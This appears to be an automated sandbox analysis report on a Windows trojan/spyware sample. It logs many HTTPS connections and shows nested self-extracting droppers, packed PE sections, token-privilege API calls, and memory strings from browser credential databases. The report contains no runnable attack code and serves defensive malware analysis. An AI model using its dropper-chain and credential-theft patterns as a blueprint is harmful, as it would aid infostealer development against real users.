Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443

Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.5:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:50083 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: 4w017y.exe.0.dr	Static PE information: section name:
Source: 4w017y.exe.0.dr	Static PE information: section name: .idata
Source: 2h6379.exe.1.dr	Static PE information: section name:
Source: 2h6379.exe.1.dr	Static PE information: section name: .idata
Source: 3S96n.exe.1.dr	Static PE information: section name:
Source: 3S96n.exe.1.dr	Static PE information: section name: .rsrc
Source: 3S96n.exe.1.dr	Static PE information: section name: .idata
Source: 3S96n.exe.1.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: .idata
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: section name:
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Code function: 0_2_00211F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		0_2_00211F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_00351F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		1_2_00351F90

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Code function: 0_2_00213BA2	0_2_00213BA2
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Code function: 0_2_00215C9E	0_2_00215C9E
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_00353BA2	1_2_00353BA2
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_00355C9E	1_2_00355C9E

Source: ByVoN4bhSU.exe	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 5648073 bytes, 2 files, at 0x2c +A "j1C74.exe" +A "4w017y.exe", ID 1509, number 1, 220 datablocks, 0x1503 compression
Source: j1C74.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 3794183 bytes, 2 files, at 0x2c +A "2h6379.exe" +A "3S96n.exe", ID 1462, number 1, 157 datablocks, 0x1503 compression

Source: random[1].exe.3.dr	Static PE information: No import functions for PE file found
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: No import functions for PE file found

Source: random[1].exe.3.dr	Static PE information: Data appended to the last section found
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: Data appended to the last section found

Source: ByVoN4bhSU.exe

Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs ByVoN4bhSU.exe

Source: ByVoN4bhSU.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2h6379.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9980285070532915
Source: 3S96n.exe.1.dr	Static PE information: Section: ajclbkke ZLIB complexity 0.9945679267319963

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/295@32/25

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

Code function: 0_2_0021597D GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_0021597D

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Code function: 0_2_00211F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		0_2_00211F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_00351F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		1_2_00351F90

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

0_2_0021597D

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

Code function: 0_2_00212CAA memset,memset,memset,CreateEventA,SetEvent,CreateMutexA,GetLastError,CloseHandle,FindResourceA,LoadResource,

0_2_00212CAA

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\UATROMB6.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8876:120:WilError_03

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Command line argument: Kernel32.dll		0_2_00212BFB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Command line argument: Kernel32.dll		1_2_00352BFB

Source: ByVoN4bhSU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"

Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 2h6379.exe, 00000003.00000003.2092402710.0000000005D61000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2079607504.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2092318343.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2453123290.0000000020CE9000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2554208145.0000000020CDD000.00000004.00000800.00020000.00000000.sdmp, GIJEGDAKEHJECAKEGDHJ.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: ByVoN4bhSU.exe

ReversingLabs: Detection: 39%

Source: 3S96n.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\ByVoN4bhSU.exe "C:\Users\user\Desktop\ByVoN4bhSU.exe"
